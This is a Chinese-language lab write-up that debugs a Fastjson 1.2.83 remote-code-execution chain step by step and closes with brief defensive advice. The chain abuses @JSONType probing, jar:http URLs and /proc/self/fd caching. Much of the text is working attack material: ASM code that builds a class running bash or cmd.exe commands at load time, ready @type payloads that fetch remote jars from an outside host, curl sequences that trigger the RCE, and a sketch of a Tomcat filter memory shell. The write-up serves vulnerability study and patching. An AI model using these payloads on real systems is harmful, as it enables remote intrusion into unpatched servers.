FastJson 1.2.83 漏洞分析

Fastjson 1.2.66~1.2.83 在特定配置与运行环境下,ParserConfig.checkAutoType 的类型校验及类加载路径可能被组合利用。Fastjson 1.2.84 已针对 URL 特殊字符、白名单哈希回验和危险类型缓存等问题进行加固。

https://github.com/midisec/fastjson-1.2.83-gadget-rce

属性 说明
影响版本 Fastjson 1.2.66 ~ 1.2.83
利用条件 未开启 SafeMode;Spring Boot FatJar 部署;目标可出网;同时满足文章所述的解析入口、类加载器与依赖条件
核心特点 无需开启 AutoType、无需传统 Gadget 链、利用 @JSONType 注解探测机制加载远程类
JDK 8 单阶段 RCE:直接 http:// payload 即可
JDK 9+/17/21 需两阶段 jar:http:///proc/self/fd/N fd bridge 绕过 defineClass // 校验

Spring Boot fat-jar 的 LaunchedURLClassLoader 启动阶段会通过 JarFile.registerUrlProtocolHandler() 注册自定义 jar: 协议处理,使该类加载器能够处理 jar:http://、jar:file: 形式的资源路径,而如果由 AppClassLoader 加载,AppClassLoader 根本处理不了 jar: 协议。

修复建议:升级到 Fastjson 1.2.84 或更高版本;无法升级时应评估并启用 SafeMode。SafeMode 在 1.2.68 及之后提供,启用后会完全禁用 AutoType,可能带来兼容性影响。

0x01 开始调试:

环境搭建:

macos系统

java 1.8

靶场:https://github.com/midisec/fastjson-1.2.83-gadget-rce

需要注意的是:windows和Linux、mac的恶意文件是有区别的

自带的GenProbe.java只适合Linux和mac的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (execCommand) {
MethodVisitor clinit = cw.visitMethod(Opcodes.ACC_STATIC, "<clinit>", "()V", null, null);
clinit.visitCode();
clinit.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
clinit.visitInsn(Opcodes.ICONST_3);
clinit.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/String");
clinit.visitInsn(Opcodes.DUP); clinit.visitInsn(Opcodes.ICONST_0);
clinit.visitLdcInsn("/bin/bash"); clinit.visitInsn(Opcodes.AASTORE);
clinit.visitInsn(Opcodes.DUP); clinit.visitInsn(Opcodes.ICONST_1);
clinit.visitLdcInsn("-c"); clinit.visitInsn(Opcodes.AASTORE);
clinit.visitInsn(Opcodes.DUP); clinit.visitInsn(Opcodes.ICONST_2);
clinit.visitLdcInsn(cmd); clinit.visitInsn(Opcodes.AASTORE);
clinit.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false);
clinit.visitInsn(Opcodes.POP);
clinit.visitInsn(Opcodes.RETURN);
clinit.visitMaxs(5, 0);
clinit.visitEnd();
}

如果是windows环境,需要自己修改一下,因为windows没有/bin/bash,需要改成cmd.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (execCommand) {
MethodVisitor clinit = cw.visitMethod(Opcodes.ACC_STATIC, "<clinit>", "()V", null, null);
clinit.visitCode();
clinit.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
clinit.visitInsn(Opcodes.ICONST_3);
clinit.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/String");
clinit.visitInsn(Opcodes.DUP); clinit.visitInsn(Opcodes.ICONST_0);
clinit.visitLdcInsn("cmd.exe"); clinit.visitInsn(Opcodes.AASTORE);
clinit.visitInsn(Opcodes.DUP); clinit.visitInsn(Opcodes.ICONST_1);
clinit.visitLdcInsn("/c"); clinit.visitInsn(Opcodes.AASTORE);
clinit.visitInsn(Opcodes.DUP); clinit.visitInsn(Opcodes.ICONST_2);
clinit.visitLdcInsn(cmd); clinit.visitInsn(Opcodes.AASTORE);
clinit.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false);
clinit.visitInsn(Opcodes.POP);
clinit.visitInsn(Opcodes.RETURN);
clinit.visitMaxs(5, 0);
clinit.visitEnd();
}

配置调试:

java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 -jar target/fastjson-rce-env-1.0.0.jar

IDEA 配置远程调试

image.png

java 1.8 调试

构造:

1
bash scripts/build.sh localhost 19090 "open -a Calculator" jdk8-http

image.png

一键攻击攻击:

1
python3 poc/exploit.py localhost 19090 http://127.0.0.1:18080 /parse --mode jdk8-http --once

直接在这里打断点

com.alibaba.fastjson.parser.ParserConfig#checkAutoType

typeName传进来的值就是请求恶意地址的值

image.png

autoTypeCheckHandlers为空直接跳过,这个可以理解为用户允许某个 @type 能不能反序列化,默认没有设置就直接跳过来,如果设置有的话,后面所有 SafeMode / 黑白名单 / 内置安全校验全部跳过。然后走到safemode,没开的话,默认就是关的,然后就是黑白名单过滤了。

注意:safemode是在1.2.68中添加的,打开后就完全禁用autoype(即@type),这样就能防御fastjson反序列化了

直接走到这,将类型名中的 . 替换为 /,追加 .class 后缀,所以http:..localhost:19090.a—-》http://localhost:19090/a.class

1
String resource = typeName.replace('.', '/') + ".class";

image.png

然后走到这里,尝试用 ClassLoader 获取资源流,跟进getResourceAsStream

注意: getResourceAsStream 的类加载器要能识别 jar: 协议、把 jar:http://… / jar:file:/proc/self/fd/N! 真的当 URL 打开;同一个(或具备等价能力的)加载器 要能对读到的字节流调用 defineClass,Spring Boot fat-jar 的 LaunchedURLClassLoader 恰好同时满足这两点,所以

1
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

image.png

image.png

判断点在这里getResource,继续跟进getResource,双亲委派的方式,自上而下资源查找,如果资源存在就返回地址,

1
2
3
4
5
6
7
8
9
10
11
12
public URL getResource(String name) {
URL url;
if (parent != null) {
url = parent.getResource(name); // 1. 委托父加载器
} else {
url = getBootstrapResource(name); // 2. Bootstrap 加载器
}
if (url == null) {
url = findResource(name); // 3. 自己找
}
return url;
}

image.png

然后回到java.net.URLClassLoader#getResourceAsStream,发起url连接,获取资源流,然后返回

1
2
URLConnection urlc = url.openConnection(); //发起连接的一步
urlc.getInputStream(); //读取数据

JVM 会根据 URL 的协议,选择合适的 URLStreamHandler,于 JarURLConnection: 这一步会解析 JAR 文件结构,定位到 POC.class 的字节码,拿到了 POC.class

image.png

用 ASM 扫描字节码中的 @JSONType 注解,检查POC.class 有 @JSONType 注解,又就返回true

1
2
3
4
5
6
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType(); // ★ 检查是否有 @JSONType
}

image.png

可以跟进hasJsonType看一下

1
2
3
4
5
6
7
@Override
public AnnotationVisitor visitAnnotation(String desc, boolean visible) {
if ("Lcom/alibaba/fastjson/annotation/JSONType;".equals(desc)) {
this.jsonType = true;
}
return super.visitAnnotation(desc, visible);
}

image.png

image.png

然后走完前面的,就到了这里,加载类,然后返回类

1
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);

image.png

返回类之后回到这里,继续往下走

image.png

走到这里,跟进,里面触发newInstance(),动使用类,触发初始化

1
instance = TypeUtils.cast(object, clazz, this.config);

image.png

最终走到newInstance(),然后初始化poc触发了静态方法

image.png

image.png

image.png

java17 调试

JDK 9+ 模块化后,http: 协议不再被 URLClassLoader.getResourceAsStream 直接支持,但 jar:http: 仍然可以(先下载远程 jar,再从 jar 中提取资源)

手打payload:

1
2
3
4
5
[
{"@type":"jar:http:..3232252414:19090.probe!.foo.Exception"},
{"@type":"jar:file:.proc.self.fd.3!.fd3.Exception"},
{"@type":"jar:file:.proc.self.fd.4!.fd4.Exception"}
]

一键复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 1. HTTP 托管恶意 JAR
cd poc/www && python3 -m http.server 19090 &

# 2. 启动 JDK 17 靶场
docker rm -f fj-jdk17-rce 2>/dev/null
docker run -d --name fj-jdk17-rce \
--add-host host.docker.internal:host-gateway \
-p 18080:18080 -p 5005:5005 \
-v "$PWD/target/fastjson-rce-env-1.0.0.jar:/app.jar:ro" \
eclipse-temurin:17-jre \
java '-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005' \
-jar /app.jar

# 3. 等 5 秒后,一键 exploit
sleep 5 && bash scripts/exploit-jdk17.sh

或者分步手动打(看清楚每一步):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Step 1: 下载恶意 JAR(触发 ClassLoader 缓存到 fd)
curl -X POST -H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..3232252414:19090.probe_touch!.foo.E"}' \
http://localhost:18080/parse

# Step 2: 查 fd 号
docker exec fj-jdk17-rce sh -c \
'ls -la /proc/1/fd/ | grep jar_cache'

# Step 3: 用查到的 fd 号触发 RCE(假设 fd=14)
curl -X POST -H 'Content-Type: application/json' \
-d '{"@type":"jar:file:.proc.self.fd.15!.fd15.E"}' \
http://localhost:18080/parse

# Step 4: 读取命令输出
curl http://localhost:18080/rce

第一阶段:下载 jar,创建 fd 缓存

继续在com.alibaba.fastjson.parser.ParserConfig#checkAutoType打断点,第一阶段还是一样

1
typeName=jar:http:..localhost:19090.probe!.foo.Exception

image.png

getRootJarFileFromUrl(url) 会下载远程 jar(http://host:19090/probe)到 /tmp/jar_cache*.tmp,打开该文件,然后删除磁盘文件但保持 fd 打开,当s 非 null = JVM 成功下载了远程 jar 并从中读取了.class 的字节流。这一刻,”缓存”已经在 OS 层形成了。

Linux 的 /proc 文件系统为每个进程维护了一个符号链接目录 /proc/self/fd/,其中每个条目指向该进程打开的文件描述符–即使文件已被从磁盘删除。

1
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

image.png

识别 jar: 协议并决定去哪里读数据”的地方。阶段一时,这里内部会发起 HTTP 请求下载 jar → 这就是”缓存”形成的时刻

image.png

image.png

可以直接查看容器中的/tmp目录,是有缓存

1
2
3
 % docker exec fj-jdk17-rce sh -c \
'ls -la /proc/1/fd/ | grep jar_cache'
lr-x------ 1 root root 64 Aug 3 03:27 15 -> /tmp/jar_cache9866597154988054067.tmp (deleted)

阶段二: 从 fd 读取恶意类

前面流程都一样,走到这里加资源流。

1
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

image.png

跟前面一样,jsonType=true 导致 TypeUtils.loadClass(typeName, …) 被调用,最终走到 defineClass

1
2
3
4
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

image.png

java8和java17的区别:

真正的差异在 JVM Native 层(C++ 代码),ClassFileParser 解析类的内部名称时进行校验。

JDK 8 的 classFileParser.cpp 中 verify_unqualified_name 函数:

规则:禁止类名中出现 [ 、 . 、 ; 等特殊字符

结果://(连续斜杠)不在禁止列表中

因此 JDK 8 直接接受类名 http://1.2.3.4:19090/foo/Exception,defineClass 成功。

DK 9 重构了 class 文件解析器,加入了严格的类名校验:

- 类名首字符不能是 /

- 类名尾字符不能是 /

- 类名中不能出现连续的 //

具体实现在 src/hotspot/share/classfile/classFileParser.cpp 的 verify_legal_class_name()函数中。

你需要用 ASM 字节码在 <clinit> 里写出等价于下面 Java 逻辑的代码(用 ASM 指令拼):

1
2
3
4
5
6
7
8
9
10
11
// 伪代码逻辑(实际要用 ASM 字节码指令写出)
static {
try {
// 1. 从线程上下文拿 Request 或遍历线程组找 catalina 线程
// 2. 反射链: Request -> getContext() -> StandardContext
// 3. 创建 FilterDef, setFilter(this), setFilterName("xxx")
// 4. 创建 FilterMap, addURLPattern("/*")
// 5. standardContext.addFilterDef(def)
// 6. standardContext.addFilterMap(map)
} catch (Throwable t) { /* 静默失败 */ }
}

0x02 防御

1. 启用 SafeMode

这样@type关键字就没有用了

0x03 遇到的问题

刚刚开始的时候我调试,我使用十进制的格式的payload,但是java.lang.ClassLoader#getResource走到返回url为null,资源不存在

1
JDK8 HTTP payload: {"@type":"http:..2886994434:19090.a"}

image.png

测试时最初无法加载资源。排查后发现代理规则只放行了 IPv4 内网地址段;改用 localhost 后恢复正常。因此这里的问题来自本地代理配置,并非漏洞链本身。

1
2
new URL("http://127.0.0.1:19090/a.class").openConnection()  // → 200
new URL("http://2130706433:19090/a.class").openConnection() // → 502

image.png